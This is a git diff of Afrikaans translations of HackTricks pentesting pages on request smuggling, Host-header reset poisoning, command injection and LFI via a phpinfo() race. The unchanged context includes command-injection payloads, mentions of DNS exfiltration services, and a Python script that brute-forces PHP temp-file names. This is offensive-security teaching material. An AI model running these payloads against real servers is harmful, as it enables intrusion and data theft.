||||||
|
|
||||||
Soos waargeneem in [**hierdie probleem**](https://github.com/pallets/werkzeug/issues/2833), sluit Werkzeug nie 'n versoek met Unicode karakters in headers. En soos verduidelik in [**hierdie skrywe**](https://mizu.re/post/twisty-python), kan dit 'n CL.0 Request Smuggling kwesbaarheid veroorsaak.
|
Soos waargeneem in [**hierdie probleem**](https://github.com/pallets/werkzeug/issues/2833), sluit Werkzeug nie 'n versoek met Unicode karakters in die koptekste nie. En soos verduidelik in [**hierdie skrywe**](https://mizu.re/post/twisty-python), kan dit 'n CL.0 Request Smuggling kwesbaarheid veroorsaak.
|
||||||
|
|
||||||
Dit is omdat dit in Werkzeug moontlik is om sommige **Unicode** karakters te stuur en dit sal die bediener **breek**. As die HTTP-verbinding egter met die header **`Connection: keep-alive`** geskep is, sal die liggaam van die versoek nie gelees word nie en die verbinding sal steeds oop wees, so die **liggaam** van die versoek sal as die **volgende HTTP versoek** behandel word.
|
Dit is omdat dit in Werkzeug moontlik is om sommige **Unicode** karakters te stuur en dit sal die bediener **breek**. As die HTTP-verbinding egter met die koptekst **`Connection: keep-alive`** geskep is, sal die liggaam van die versoek nie gelees word nie en die verbinding sal steeds oop wees, sodat die **liggaam** van die versoek as die **volgende HTTP versoek** behandel sal word.
|
||||||
|
|
||||||
## Geoutomatiseerde Exploitatie
|
## Geoutomatiseerde Exploitatie
|
||||||
|
|
||||||
|
@ -182,7 +184,9 @@ Dit is omdat dit in Werkzeug moontlik is om sommige **Unicode** karakters te stu
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest van enige plek af uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening strek. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle weer 'n bietjie tyd te gee om dieper te delf, shells te pop, en pret te hê.
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om voorregte te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -17,7 +17,9 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest van enige plek af uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening gaan. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle weer tyd te gee om dieper te delf, shells te pop, en pret te hê.
|
#### Kry 'n hacker se perspektief op jou web apps, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -26,19 +28,19 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
Verskeie kere vertrou die agterkant op die **Gasheer kop** om sekere aksies uit te voer. Byvoorbeeld, dit kan sy waarde gebruik as die **domein om 'n wagwoordherstel te stuur**. So wanneer jy 'n e-pos ontvang met 'n skakel om jou wagwoord te herstel, is die domein wat gebruik word die een wat jy in die Gasheer kop geplaas het. Dan kan jy die wagwoordherstel van ander gebruikers aanvra en die domein verander na een wat deur jou beheer word om hul wagwoordherstelkodes te steel. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
Verskeie kere vertrou die agterkant op die **Gasheer kop** om sekere aksies uit te voer. Byvoorbeeld, dit kan sy waarde gebruik as die **domein om 'n wagwoordherstel te stuur**. So wanneer jy 'n e-pos ontvang met 'n skakel om jou wagwoord te herstel, is die domein wat gebruik word die een wat jy in die Gasheer kop geplaas het. Dan kan jy die wagwoordherstel van ander gebruikers aanvra en die domein verander na een wat deur jou beheer word om hul wagwoordherstelkodes te steel. [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Let daarop dat dit moontlik is dat jy selfs nie hoef te wag vir die gebruiker om op die hersteld wagwoord skakel te klik om die token te kry nie, aangesien selfs **spamfilters of ander intermediêre toestelle/bots daarop kan klik om dit te analiseer**.
|
Let daarop dat dit moontlik is dat jy nie eers hoef te wag vir die gebruiker om op die hersteld wagwoord skakel te klik om die token te kry nie, aangesien selfs **spamfilters of ander intermediêre toestelle/bots dit mag klik om dit te analiseer**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Sessie booleans
|
### Sessie booleans
|
||||||
|
|
||||||
Soms wanneer jy 'n sekere verifikasie korrek voltooi, sal die agterkant **net 'n boolean met die waarde "Waar" by 'n sekuriteitsattribuut van jou sessie voeg**. Dan sal 'n ander eindpunt weet of jy daardie toets suksesvol geslaag het.\
|
Soms wanneer jy 'n sekere verifikasie korrek voltooi, sal die agterkant **net 'n boolean met die waarde "True" by 'n sekuriteitsattribuut van jou sessie voeg**. Dan sal 'n ander eindpunt weet of jy daardie toets suksesvol geslaag het.\
|
||||||
As jy egter **die toets slaag** en jou sessie daardie "Waar" waarde in die sekuriteitsattribuut toegeken word, kan jy probeer om **toegang te verkry tot ander hulpbronne** wat **afhang van dieselfde attribuut** maar waarvoor jy **nie toestemming behoort te hê nie**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
As jy egter **die toets slaag** en jou sessie daardie "True" waarde in die sekuriteitsattribuut toegeken word, kan jy probeer om **toegang te verkry tot ander hulpbronne** wat **afhang van dieselfde attribuut** maar waarvoor jy **nie toestemming behoort te hê nie**. [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
|
||||||
|
|
||||||
### Registreer funksionaliteit
|
### Registreer funksionaliteit
|
||||||
|
|
||||||
Probeer om te registreer as 'n reeds bestaande gebruiker. Probeer ook om ekwivalente karakters te gebruik (punte, baie spasie en Unicode).
|
Probeer om te registreer as 'n reeds bestaande gebruiker. Probeer ook om ekwivalente karakters te gebruik (punte, baie spasie en Unicode).
|
||||||
|
|
||||||
### Neem e-pos oor
|
### Neem oor e-posse
|
||||||
|
|
||||||
Registreer 'n e-pos, voordat jy dit bevestig, verander die e-pos, dan, as die nuwe bevestigings e-pos na die eerste geregistreerde e-pos gestuur word, kan jy enige e-pos oorneem. Of as jy die tweede e-pos kan aktiveer wat die eerste een bevestig, kan jy ook enige rekening oorneem.
|
Registreer 'n e-pos, voordat jy dit bevestig, verander die e-pos, dan, as die nuwe bevestigings e-pos na die eerste geregistreerde e-pos gestuur word, kan jy enige e-pos oorneem. Of as jy die tweede e-pos kan aktiveer wat die eerste een bevestig, kan jy ook enige rekening oorneem.
|
||||||
|
|
||||||
|
@ -48,14 +50,16 @@ Registreer 'n e-pos, voordat jy dit bevestig, verander die e-pos, dan, as die nu
|
||||||
|
|
||||||
### TRACE metode
|
### TRACE metode
|
||||||
|
|
||||||
Ontwikkelaars mag vergeet om verskeie foutopsporing opsies in die produksie-omgewing te deaktiveer. Byvoorbeeld, die HTTP `TRACE` metode is ontwerp vir diagnostiese doeleindes. As dit geaktiveer is, sal die webbediener op versoeke wat die `TRACE` metode gebruik, reageer deur die presiese versoek wat ontvang is in die antwoord te herhaal. Hierdie gedrag is dikwels onskadelik, maar lei soms tot inligtingsontsluiting, soos die naam van interne verifikasie koppe wat aan versoeke deur omgekeerde proxies bygevoeg kan word.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
|
Ontwikkelaars mag vergeet om verskeie foutopsporing opsies in die produksie-omgewing te deaktiveer. Byvoorbeeld, die HTTP `TRACE` metode is ontwerp vir diagnostiese doeleindes. As dit geaktiveer is, sal die webbediener op versoeke wat die `TRACE` metode gebruik, reageer deur die presiese versoek wat ontvang is in die antwoord te herhaal. Hierdie gedrag is dikwels onskadelik, maar lei soms tot inligtingsontsluiting, soos die naam van interne outentikasie koppe wat aan versoeke deur omgekeerde proxies bygevoeg kan word.![Image for post](https://miro.medium.com/max/60/1\*wDFRADTOd9Tj63xucenvAA.png?q=20)
|
||||||
|
|
||||||
![Image for post](https://miro.medium.com/max/1330/1\*wDFRADTOd9Tj63xucenvAA.png)
|
![Image for post](https://miro.medium.com/max/1330/1\*wDFRADTOd9Tj63xucenvAA.png)
|
||||||
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
**Onmiddellik beskikbare opstelling vir kwesbaarheidsevaluering & penetrasietoetsing**. Voer 'n volledige pentest van enige plek af uit met 20+ gereedskap & funksies wat van rekognisie tot verslagdoening gaan. Ons vervang nie pentesters nie - ons ontwikkel pasgemaakte gereedskap, opsporing & eksploitasiemodules om hulle weer tyd te gee om dieper te delf, shells te pop, en pret te hê.
|
#### Kry 'n hacker se perspektief op jou web apps, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -15,22 +15,23 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) om maklik te bou en **werkvloei** te **automate** wat deur die wêreld se **mees gevorderde** gemeenskap gereedskap aangedryf word.\
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
Kry Toegang Vandag:
|
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
## Wat is command Injection?
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
'n **command injection** laat die uitvoering van arbitrêre bedryfstelselopdragte deur 'n aanvaller op die bediener wat 'n toepassing huisves. As gevolg hiervan kan die toepassing en al sy data volledig gecompromitteer word. Die uitvoering van hierdie opdragte stel die aanvaller tipies in staat om ongeoorloofde toegang of beheer oor die toepassing se omgewing en onderliggende stelsel te verkry.
|
## Wat is kommando-inspuiting?
|
||||||
|
|
||||||
|
'n **kommando-inspuiting** laat die uitvoering van arbitrêre bedryfstelselskommando's deur 'n aanvaller op die bediener wat 'n toepassing huisves. As gevolg hiervan kan die toepassing en al sy data volledig gecompromitteer word. Die uitvoering van hierdie kommando's laat tipies die aanvaller toe om ongemagtigde toegang of beheer oor die toepassing se omgewing en onderliggende stelsel te verkry.
|
||||||
|
|
||||||
### Konteks
|
### Konteks
|
||||||
|
|
||||||
Afhangende van **waar jou invoer ingespuit word** mag jy die **geciteerde konteks beëindig** (met `"` of `'`) voordat die opdragte.
|
Afhangende van **waar jou invoer ingespuit word** mag jy nodig hê om die **gekwoteerde konteks te beëindig** (met `"` of `'`) voor die kommando's.
|
||||||
|
|
||||||
## Command Injection/Execution
|
## Kommando-inspuiting/Uitsluiting
|
||||||
```bash
|
```bash
|
||||||
#Both Unix and Windows supported
|
#Both Unix and Windows supported
|
||||||
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
||||||
|
@ -107,7 +108,7 @@ real 0m0.002s
|
||||||
user 0m0.000s
|
user 0m0.000s
|
||||||
sys 0m0.000s
|
sys 0m0.000s
|
||||||
```
|
```
|
||||||
### DNS gebaseerde data eksfiltrasie
|
### DNS gebaseerde data-uitvoer
|
||||||
|
|
||||||
Gebaseer op die hulpmiddel van `https://github.com/HoLyVieR/dnsbin` ook gehos op dnsbin.zhack.ca
|
Gebaseer op die hulpmiddel van `https://github.com/HoLyVieR/dnsbin` ook gehos op dnsbin.zhack.ca
|
||||||
```
|
```
|
||||||
|
@ -124,7 +125,7 @@ Online tools to check for DNS based data exfiltration:
|
||||||
* dnsbin.zhack.ca
|
* dnsbin.zhack.ca
|
||||||
* pingb.in
|
* pingb.in
|
||||||
|
|
||||||
### Filtering bypass
|
### Filtrering omseiling
|
||||||
|
|
||||||
#### Windows
|
#### Windows
|
||||||
```
|
```
|
||||||
|
@ -161,10 +162,10 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) om maklik te bou en **automate werkvloei** aangedryf deur die wêreld se **meest gevorderde** gemeenskap gereedskap.\
|
|
||||||
Kry Toegang Vandag:
|
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -13,6 +13,14 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
||||||
Om hierdie kwesbaarheid te benut, benodig jy: **'n LFI kwesbaarheid, 'n bladsy waar phpinfo() vertoon word, "file\_uploads = on" en die bediener moet in staat wees om in die "/tmp" gids te skryf.**
|
Om hierdie kwesbaarheid te benut, benodig jy: **'n LFI kwesbaarheid, 'n bladsy waar phpinfo() vertoon word, "file\_uploads = on" en die bediener moet in staat wees om in die "/tmp" gids te skryf.**
|
||||||
|
|
||||||
|
@ -20,7 +28,7 @@ Om hierdie kwesbaarheid te benut, benodig jy: **'n LFI kwesbaarheid, 'n bladsy w
|
||||||
|
|
||||||
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
|
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s)
|
||||||
|
|
||||||
Jy moet die eksploitasie regmaak (verander **=>** na **=>**). Om dit te doen kan jy doen:
|
Jy moet die eksploit herstel (verander **=>** na **=>**). Om dit te doen kan jy:
|
||||||
```
|
```
|
||||||
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||||
```
|
```
|
||||||
|
@ -30,19 +38,19 @@ You moet ook die **payload** aan die begin van die exploit verander (vir 'n php-
|
||||||
|
|
||||||
### Teorie
|
### Teorie
|
||||||
|
|
||||||
As opgelaai word in PHP toegelaat en jy probeer om 'n lêer op te laai, word hierdie lêers in 'n tydelike gids gestoor totdat die bediener klaar is met die verwerking van die versoek, dan word hierdie tydelike lêers verwyder.
|
As opgelaai word in PHP en jy probeer om 'n lêer op te laai, word hierdie lêers in 'n tydelike gids gestoor totdat die bediener klaar is met die verwerking van die versoek, dan word hierdie tydelike lêers verwyder.
|
||||||
|
|
||||||
As jy 'n LFI kwesbaarheid in die webbediener gevind het, kan jy probeer om die naam van die tydelike lêer wat geskep is te raai en 'n RCE te exploiteer deur toegang te verkry tot die tydelike lêer voordat dit verwyder word.
|
As jy 'n LFI kwesbaarheid in die webbediener gevind het, kan jy probeer om die naam van die tydelike lêer wat geskep is te raai en 'n RCE te exploiteer deur toegang tot die tydelike lêer te verkry voordat dit verwyder word.
|
||||||
|
|
||||||
In **Windows** word die lêers gewoonlik gestoor in **C:\Windows\temp\php**
|
In **Windows** word die lêers gewoonlik gestoor in **C:\Windows\temp\php**
|
||||||
|
|
||||||
In **linux** was die naam van die lêer gewoonlik **random** en geleë in **/tmp**. Aangesien die naam random is, is dit nodig om **uit 'n plek die naam van die tydelike lêer te onttrek** en dit te benader voordat dit verwyder word. Dit kan gedoen word deur die waarde van die **variabele $\_FILES** binne die inhoud van die funksie "**phpconfig()**" te lees.
|
In **linux** was die naam van die lêer gewoonlik **random** en geleë in **/tmp**. Aangesien die naam random is, is dit nodig om **van êrens die naam van die tydelike lêer te onttrek** en toegang te verkry voordat dit verwyder word. Dit kan gedoen word deur die waarde van die **variabele $\_FILES** binne die inhoud van die funksie "**phpconfig()**" te lees.
|
||||||
|
|
||||||
**phpinfo()**
|
**phpinfo()**
|
||||||
|
|
||||||
**PHP** gebruik 'n buffer van **4096B** en wanneer dit **vol** is, word dit **na die kliënt gestuur**. Dan kan die kliënt **'n groot aantal groot versoeke stuur** (met groot koppe) **wat 'n php** omgekeerde **shell** oplaai, wag vir die **eerste deel van die phpinfo() om teruggestuur te word** (waar die naam van die tydelike lêer is) en probeer om **toegang tot die tydelike lêer te verkry** voordat die php bediener die lêer verwyder deur 'n LFI kwesbaarheid te exploiteer.
|
**PHP** gebruik 'n buffer van **4096B** en wanneer dit **vol** is, word dit **na die kliënt gestuur**. Dan kan die kliënt **'n groot aantal groot versoeke stuur** (met groot koppe) **wat 'n php** omgekeerde **shell** oplaai, wag vir die **eerste deel van die phpinfo() om teruggestuur te word** (waar die naam van die tydelike lêer is) en probeer om **toegang tot die tydelike lêer** te verkry voordat die php bediener die lêer verwyder deur 'n LFI kwesbaarheid te exploiteer.
|
||||||
|
|
||||||
**Python skrip om te probeer om die naam te bruteforce (as lengte = 6)**
|
**Python-skrip om te probeer om die naam te bruteforce (as lengte = 6)**
|
||||||
```python
|
```python
|
||||||
import itertools
|
import itertools
|
||||||
import requests
|
import requests
|
||||||
|
@ -64,16 +72,24 @@ sys.exit(0)
|
||||||
|
|
||||||
print('[x] Something went wrong, please try again')
|
print('[x] Something went wrong, please try again')
|
||||||
```
|
```
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Ondersteun HackTricks</summary>
|
<summary>Ondersteun HackTricks</summary>
|
||||||
|
|
||||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -15,10 +15,18 @@ Leer & oefen GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
||||||
|
|
||||||
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
||||||
|
|
||||||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
## Wat is
|
## Wat is
|
||||||
|
|
||||||
Hierdie kwesbaarheid gebeur wanneer 'n **desynkronisasie** tussen **front-end proxies** en die **back-end** bediener 'n **aanvaller** toelaat om 'n HTTP **versoek** te **stuur** wat as 'n **enkele versoek** deur die **front-end** proxies (laai balanseer / omgekeerde proxy) en **as 2 versoeke** deur die **back-end** bediener **geïterpreteer** sal word.\
|
Hierdie kwesbaarheid ontstaan wanneer 'n **desynkronisasie** tussen **front-end proxies** en die **back-end** bediener 'n **aanvaller** toelaat om 'n HTTP **versoek** te **stuur** wat as 'n **enkele versoek** deur die **front-end** proxies (laaibalansering/omgekeerde proxy) en **as 2 versoeke** deur die **back-end** bediener **geïntpreteer** sal word.\
|
||||||
Dit laat 'n gebruiker toe om die **volgende versoek wat by die back-end bediener aankom na syne** te **wysig**.
|
Dit laat 'n gebruiker toe om die **volgende versoek wat na die back-end bediener kom na syne** te **wysig**.
|
||||||
|
|
||||||
### Teorie
|
### Teorie
|
||||||
|
|
||||||
|
@ -35,26 +43,26 @@ Dit laat 'n gebruiker toe om die **volgende versoek wat by die back-end bediener
|
||||||
> Die Transfer-Encoding kopveld spesifiseer die vorm van kodering wat gebruik word om die payload liggaam veilig na die gebruiker oor te dra.\
|
> Die Transfer-Encoding kopveld spesifiseer die vorm van kodering wat gebruik word om die payload liggaam veilig na die gebruiker oor te dra.\
|
||||||
> Chunked beteken dat groot data in 'n reeks stukke gestuur word.
|
> Chunked beteken dat groot data in 'n reeks stukke gestuur word.
|
||||||
|
|
||||||
### Realiteit
|
### Werklikheid
|
||||||
|
|
||||||
Die **Front-End** (n laai-balanseer / Omgekeerde Proxy) **verwerk** die _**content-length**_ of die _**transfer-encoding**_ kopveld en die **Back-end** bediener **verwerk die ander** een wat 'n **desynkronisasie** tussen die 2 stelsels veroorsaak.\
|
Die **Front-End** (n laaibalansering / Omgekeerde Proxy) **verwerk** die _**content-length**_ of die _**transfer-encoding**_ kopveld en die **Back-end** bediener **verwerk die ander** een wat 'n **desynkronisasie** tussen die 2 stelsels veroorsaak.\
|
||||||
